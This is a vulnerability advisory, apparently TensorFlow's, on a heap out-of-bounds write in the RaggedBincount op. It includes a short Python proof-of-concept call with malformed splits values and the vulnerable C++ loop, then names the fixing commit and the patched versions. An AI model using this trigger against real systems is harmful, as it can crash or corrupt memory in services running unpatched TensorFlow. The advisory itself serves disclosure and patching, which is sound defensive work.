Heap out of bounds write in `RaggedBinCount`

Impact

If the splits argument of RaggedBincount does not specify a valid SparseTensor, then an attacker can trigger a heap buffer overflow:

import tensorflow as tf
tf.raw_ops.RaggedBincount(splits=[7,8], values= [5, 16, 51, 76, 29, 27, 54, 95],\
                          size= 59, weights= [0, 0, 0, 0, 0, 0, 0, 0],\
                          binary_output=False)

This will cause a read from outside the bounds of the splits tensor buffer in the implementation of the RaggedBincount op:

    for (int idx = 0; idx < num_values; ++idx) {
      while (idx >= splits(batch_idx)) {
        batch_idx++;
      }
      ...
      if (bin < size) {
        if (binary_output_) {
          out(batch_idx - 1, bin) = T(1);
        } else {
          T value = (weights_size > 0) ? weights(idx) : T(1);
          out(batch_idx - 1, bin) += value;
        }
      } 
    }

Before the for loop, batch_idx is set to 0. The attacker sets splits(0) to be 7, hence the while loop does not execute and batch_idx remains 0. This then results in writing to out(-1, bin), which is before the heap allocated buffer for the output tensor.

Patches

We have patched the issue in GitHub commit eebb96c2830d48597d055d247c0e9aebaea94cd5.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.